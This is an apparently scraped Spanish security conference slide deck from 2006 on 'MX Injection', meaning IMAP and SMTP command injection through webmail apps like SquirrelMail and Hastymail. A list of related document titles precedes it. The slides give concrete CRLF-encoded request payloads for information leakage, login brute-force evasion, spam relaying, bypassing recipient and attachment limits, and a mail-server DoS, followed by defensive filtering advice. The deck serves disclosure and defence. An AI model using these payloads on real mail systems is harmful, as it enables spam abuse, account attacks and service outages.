Capturando y explotando servidores de correo ocultos



Documentos relacionados
Capturando y explotando servidores de correo ocultos OWASP 16/6/2006. The OWASP Foundation

IMAP4. Internet Message Access Protocol Version 4 (RFC3501)

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO

Correo electrónico (SMTP-MIME-POP3/IMAP)

CAPÍTULO 4. FUNCIONAMIENTO DEL CORREO ELECTRÓNICO

Telnet. Telnet Operación

Aspectos prácticos de Internet

INSTALACIÓN DE SERVIDOR DE CORREO ELECTRÓNICO

Desarrollo Web con PHP

SendMail. delaf.sytes.net. Instalación y envio de s L A TEX. 28 may Universidad Nacional Andrés Bello

Dominios y Correo electrónico

MANUAL WEBMAIL. Webmail es un servicio online que permite ingresar a su cuenta de sin necesidad de un software especializado a través de la Web.

Por D. Rafael J. Montero González

Guía para ajuste de configuración de cuenta de correo electrónico

Guía para ajuste de configuración de cuenta de correo electrónico

MANUAL DE USUARIO DE CUENTAS DE CORREO

SMTP-API Documentación Técnica

Visión general de Dovecot

Paso 1 - Servidor de correo en Ubuntu: Instalar Apache 2

Guía para la configuración de Mail de Mac para la plataforma de Gmail Contenido

Vulnerabilidades animadas de ayer y hoy

ACCESO AL SERVIDOR EXCHANGE MEDIANTE OWA

GUIA DE USO WEBMAIL. La dirección para ingresar al Webmail (IMP) de la Universidad de Montevideo es la siguiente:

. Area de Ingeniería Telemática Arquitectura de Redes, Sistemas y Servicios 3º Ingeniería de Telecomunicación

Instalación y administración de servicios de correo electrónico

Ayuda básica relativa al interfaz web

Códigos de error SMTP

Tema 5.- Nivel de aplicación en Internet

Programación páginas web. Servidor (PHP)

CORREO ALUMNOS EUDORA IMAP

VPN de acceso remoto. Vicente Sánchez Patón I.E.S Gregorio Prieto. Tema 3 SAD

Guía para ajuste de configuración de cuenta de correo electrónico

El IETF (Internet Ingineering Task Force, Equipo de Trabajo de Ingeniería de Internet)

Práctica 1. Uso básico de servicios cliente-servidor

CORREO PERSONAL EUDORA POP3

MS Outlook: Guía de Configuración


Coordinación de Servicios de Cómputo. Sección Servicios CORREO ELECTRÓNICO NECHIKALI

Horde Manual de usuario

Instrucciones de uso del nuevo webmail del Colegio

Manual de Correo Electrónico del HUMV

IT Complements Naucalpan México. Todos los derechos Reservados 2010 IT Complements

Manual OWAControl. Contenido. Manual OWAControl

Correo Electrónico: Webmail: Horde 3.1.1

Clase 24 Tema 6.- Nivel de aplicación en Internet

Recomendaciones para operadores de Servicio de Correo Electrónico. Principios básicos para operadores de Correo Electrónico (ESPs)

INSTALACIÓN DEL MÓDULO... 3 CONFIGURACIÓN DEL MÓDULO... 4 ACTIVACIÓN DEL MÓDULO EN LA ADMINISTRACIÓN... 4 CONFIGURACIÓN DEL MÓDULO:...

en Hosting compartido

Manual de Administración de su sitio a través del panel de control cpanel

Guía de Usuario (Outlook)

SERVICIO DE CORREO COIT.ES

Valor probatorio de un correo electrónico. Ernesto MARTÍNEZ DE CARVAJAL HEDRICH

Mail Manual de Referencia. Forms Appeal 7

Horde Manual de usuario

Acceder a correo de 1000tentaciones.com a través de web.

Router Teldat. Protocolo HTTP

MS Outlook: Guía de Configuración

MANUAL DEL USUARIO CAPACITACION PANEL DE CONTROL ENSIM PRO & SQUIRRELMAIL MANUAL DEL SERVICIO -HOSTING- Página 1

Software Developement

Detecta errores en el envío y recepción de s. Manual de configuración

Joaquín Seoane Pascual Departamento de Ingeniería de Sistemas Telemáticos Universidad Politécnica de Madrid

Los actuales administradores del servicio de correo de Fundación Esade son:

Correo Electrónico, Representación y Transferencia. ELO322: Redes de Computadores Agustín J. González

GUÍA DE CONFIGURACIÓN CORREO Servicio de correo Consejo General

Redes de Computadores II

Servidor de Correo Sistema de Comunicación Global

ESPECIFICACIONES TÉCNICAS DEL SERVICIO EDI-SEDEB2B y PROCEDIMIENTO DE HOMOLOGACION

Tema 5: Servidores de correo

MICROSOFT EXCHANGE 2007

Aplicaciones distribuidas: FTP

MANUAL DE USUARIO DE CUENTAS DE CORREO

Correo electrónico SquirrelMail

Configuración del WebMaster / WIND / WebAlert para s y Mensajes de texto:

Por lo tanto, podemos discriminar dos tipos de agentes que están involucrados en la transferencia de correo, MUA y MTA:

REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS

Configuración de correo en el OUTLOOK

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS

El correo electrónico o es el servicio más utilizado de Internet, junto con la Web. Hay varios tipos de cuentas, POP, IMAP y SMTP.

Tutorial de Montaje de un Servidor de Correo

Manual de configuraciones básicas para

Rawel E. Luciano B Sistema Operativo III 15- SERVIDOR . José Doñe

INSTALACION, CONFIGURACION Y FUNCIONAMIENTO DE SENDMAIL EN FEDORA PRESENTADO POR ALFREDO SANCHEZ CONTRERAS CODIGO ASIGNATURA ASOR PRESENTADO A

Seguridad en Aplicaciones Web

PREGUNTAS TIPO. TEMAS 5-6. Ingeniería de protocolos, Curso 2012/13.

Práctica 3: Estudio de los protocolos HTTP, SMTP, POP3 e IMAP mediante un analizador de red: Wireshark

ADMINISTRACIÓN DE SERVICIOS DE INTER- NET

Guía de uso panel de control

ARQUITECTURA DE REDES Laboratorio

Instituto Tecnológico de Las América. Materia Sistemas operativos III. Temas. Facilitador José Doñe. Sustentante Robín Bienvenido Disla Ramirez

ENVÍO DE POR MEDIO DE SMTP

Acceder al Webmail desde la dirección ó pulsando el icono

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

PROGRAMACIÓN PÁGINAS WEB CON PHP

MAIL. Mail es un cliente de correo electrónico incluido exclusivamente en el sistema operativo Mac OS X.

FUNDAMENTOS DE REDES CONCEPTOS DE LA CAPA DE APLICACIÓN

Plan Personal. Guía Básica. Comienza tu primera web. Índice. 1. Cómo gestionar tu Plan Personal

INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR DE CORREO EXIM 4.8 EN FEDORA 20 FRAYBA SERYEY OTALORA TORRES JOSE EDUARDO JAIMES BARRERA

Normativa de seguridad y acceso a servicios Internet.

Servidor de correo en Ubuntu: Instalar y configurar servidor de correo

Transcripción:

Vicente Aguilera Díaz 1010@zalau.ro Mataró, 14 octubre 2006

CONTENIDO Introducción La técnica MX Injection En qué consiste Generando ataques Demostración práctica SquirrelMail Hastymail Medidas defensivas Conclusiones Referencias

INTRODUCCIÓN Comunicación con los servidores de correo webmail Protocolos IMAP/POP3 SMTP Peticiones establecidas acceso a los buzones lectura/envío/eliminación de e-mails desconexión etc.

Escenario Los pasos 1,2 y 3 representan el camino habitual de una peticion del usuario Los pasos 1 y 2' representan el camino virtual que sigue con MX Injection

En qué consiste Inyección arbitraria de comandos: IMAP (IMAP Injection) SMTP (SMTP Injection) en los servidores de correo a través de las aplicaciones (webmails)

IMAP Injection los comandos inyectados siguen el protocolo IMAP IMAP es utilizado en la mayoría de operaciones funcionalidades afectadas autenticación operaciones con buzones (listar, consultar, crear, eliminar, renombrar) operaciones con mensajes (consultar, copiar, mover, eliminar) desconexión

SMTP Injection los comandos inyectados siguen el protocolo SMTP la única funcionalidad afectada es el envío de e-mails parámetros a analizar e-mail del emisor e-mail del destinatario asunto cuerpo del mensaje ficheros anexados etc.

Generando ataques Pasos previos Identificar parámetros vulnerables Entender el ámbito de operación Clasificación de ataques Fugas de información Evasión de sistemas anti-automatización Relay/SPAM Evasión de restricciones Explotación de vulnerabilidades en el protocolo

Identificación de parámetros vulnerables analizar casos de abuso donde? parámetro con valor nulo (p.e.: mailbox=) nombre de buzón inexistente (p.e.: mailbox=noexiste) añadir otros valores (p.e.: mailbox= INBOX valorañadido) incluir caracteres inusuales (p.e.: \, ',, @, #,!, etc.) etc. parámetros susceptibles de ser utilizados como parte de comandos IMAP/SMTP

Entender el ámbito de operación necesitamos proporcionar los parámetros adecuados si los casos de abuso generan errores no controlados resulta fácil identificar el comando a atacar (visualizar el mensaje de error) si los casos de abuso no generan errores reveladores inyección a ciegas requiere analizar la operación asociada al parámetro atacado Inyección de comandos requiere que el comando anterior haya finalizado con la secuencia CRLF ( %0d%0a )

Dos escenarios modo no autenticado CAPABILITY, NOOP, LOGOUT, AUTHENTICATE, LOGIN modo autenticado (resto de comandos) Estructura típica de una inyección Finalización del comando legal Inyección del comando(s) y argumentos Inicio del comando legal y argumentos

Fugas de informacion Operacion: lectura de un e-mail Peticion esperada : http://<webmail>/src/read_body.php?mailbox=inbox&passed_id=1& startmessage=1&show_more=0 genera el siguiente comando IMAP: XXXX SELECT INBOX

Fugas de informacion Operacion: lectura de un e-mail Peticion usando IMAP Injection: http://<webmail>/src/read_body.php?mailbox=inbox%22%0d%0az900 CAPABILITY%0d%0aZ901 SELECT %22 INBOX&passed_id=1&startMessage=1&show_more=0 ejecutaria el comando CAPABILITY inyectado: XXXX SELECT INBOX Z900 CAPABILITY Z901 SELECT INBOX * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE Z900 OK Completed

Evasión de sistemas anti-automatización Operacion: autenticacion de usuarios Peticion esperada : http://<webmail>/src/login.jsp?login=usuario&password=contraseña genera el siguiente comando IMAP: C: XXXX LOGIN usuario contraseña S: XXXX OK User logged in (C: peticion del cliente, S: respuesta del servidor)

Evasión de sistemas anti-automatización Operacion: autenticacion de usuarios Peticion usando IMAP Injection: http://<webmail>/src/login.jsp?login=usuario&password=pwderror1%0d%0az900 LOGIN usuario contraseña%0d%0az901 LOGIN usuario pwderror2 genera los siguientes comandos IMAP: C: XXXX LOGIN usuario pwderror1 S: XXXX NO Login failed: authentication failure C: Z900 LOGIN usuario contraseña S: Z901 OK User logged in C: Z902 LOGIN usuario pwderror2 S: Z900 BAD Already logged in

Relay / SPAM Operacion: envio de e-mails Peticion esperada : POST http://<webmail>/compose.php HTTP/1.1 -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" Hola -----------------------------134475172700422922879687252 genera los siguientes comandos SMTP: MAIL FROM: [mailfrom] RCPT TO: [rcptto] DATA Subject: Hola

Relay / SPAM Operacion: envio de e-mails Peticion usando SMTP Injection: POST http://<webmail>/compose.php HTTP/1.1 -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" Hola%0d%0a.%0d%0aMAIL FROM: external@domain1.com%0d%0arcpt TO: external@domain2.com%0d% 0aDATA%0d%0aSPAM test%0d%0a.%0d%0amail FROM: external@domain1.com%0d%0arcpt TO: external@domain2.com%0d%0adata%0d%0aspam test%0d%0a.%0d%0a -----------------------------134475172700422922879687252

Relay / SPAM genera los siguientes comandos SMTP: MAIL FROM: [mailfrom] RCPT TO: [rcptto] DATA Subject: Hola. MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM Test. MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM Test

Evasión de restricciones Operacion: envio de e-mails Restriccion: Numero maximo de destinatarios Peticion usando SMTP Injection: POST http://<webmail>/compose.php HTTP/1.1 -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" Hola%0d%0a.%0d%0aMAIL FROM: external@domain.com%0d%0arcpt TO: external@domain2.com%0d%0arcpt TO: external@domain3.com%0d%0arcpt TO: external@domain4.com%0d%0adata%0d%0atest%0d%0a.%0d%0a -----------------------------134475172700422922879687252

Evasión de restricciones genera los siguientes comandos SMTP: MAIL FROM: [mailfrom] RCPT TO: [rcptto] DATA Subject: Hola. MAIL FROM: external@domain.com RCPT TO: external@domain2.com RCPT TO: external@domain3.com RCPT TO: external@domain4.com DATA Test.

Evasión de restricciones Operacion: envio de e-mails Restriccion: Numero maximo de ficheros adjuntos Peticion usando SMTP Injection: POST http://<webmail>/compose.php HTTP/1.1 -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" Test%0d%0a.%0d%0aMAIL FROM: user1@domain1.com%0d%0arcpt TO: user2@domain2.com%0d%0adata% 0d%0aContent-Type: multipart/mixed; boundary=1234567%0d%0a%0d%0a--1234567%0d%0acontent-type: text/plain% 0d%0aContent-Disposition: attachment; filename=1.txt%0d%0a%0d%0aexample 1%0d%0a--1234567%0d%0aContenttype: text/plain%0d%0acontent-disposition: attachment; filename=2.txt%0d%0a%0d%0aexample 2%0d%0a--1234567-- %0d%0a.%0d%0a -----------------------------134475172700422922879687252

Evasión de restricciones genera los siguientes comandos SMTP: Subject: Hola. MAIL FROM: user1@domain1.com RCPT TO: user2@domain2.com DATA Content type: multipart/mixed; boundary=1234567 1234567 Content type: text/plain Content Disposition: attachment; filename=1.txt Example 1 1234567 Content type: text/plain Content Disposition: attachment; filename=2.txt Example 2 1234567.

Explotación de vulnerabilidades en el protocolo Ejemplo: DoS sobre MailMax version 5 Utilizando un nombre de buzón de 256 caracteres como parámetro del comando SELECT el servicio se detiene y debe ser reiniciado manualmente. http://<webmail>/src/compose.php?mailbox=inbox%22%0d% 0aZ900 SELECT %22aaa...[256] aaa genera: XXXX SELECT INBOX Z900 SELECT aaa...[256]...a

DEMOSTRACIÓN PRÁCTICA Aplicaciones de webmail utilizadas SquirrelMail (versión 1.4.4) Hastymail (versión 1.5) Servidores de correo Cyrus IMAP UW-IMAP Sendmail Funcionará?

MEDIDAS DEFENSIVAS Validación de los datos de entrada sanear todos los datos filtrar secuencia \r\n Securización de los servidores de correo deshabilitar comandos innecesarios no permitir login anónimo configurar desconexión tras fallos en la autenticación Firewall de aplicación En el caso de ModSecurity: SecFilterSelective ARG_mailbox \r\n

CONCLUSIONES Valor añadido respecto inyecciones similares inyección total de comandos Hace visibles servidores ocultos permite explotar vulnerabilidades No se limita exclusivamente a webmails Permite evadir restricciones a nivel de aplicación

REFERENCIAS RFC 0821: Simple Mail Transfer Protocol http://www.ietf.org/rfc/rfc0821.txt RFC 3501: Internet Message Access Protocol - Version 4rev1 http://www.ietf.org/rfc/rfc3501.txt SquirrelMail: IMAP injection in sqimap_mailbox_select mailbox parameter http://www.squirrelmail.org/security/issue/2006-02-15 Hastymail: IMAP/SMTP Injection patch http://hastymail.sourceforge.net/security.php Nessus plugin: Checks for IMAP command injection in SquirrelMail http://www.nessus.org/plugins/index.php?view=viewsrc&id=20970

REFERENCIAS CRLF Injection by Ulf Harnhammar http://www.derkeiler.com/mailing-lists/securityfocus/bugtraq/2002-05/0077.html Email Injection Injecting email headers http://www.securephpwiki.com/index.php/email_injection PHP Mail Functions discussions http://www.php.net/manual/en/ref.mail.php#62027 UW-IMAP PoC http://uberwall.org/releases/uwloveimap.tgz

Gracias por vuestra atención (nos vemos en próximos Hackmeetings!) Vicente Aguilera Díaz 1010@zalau.ro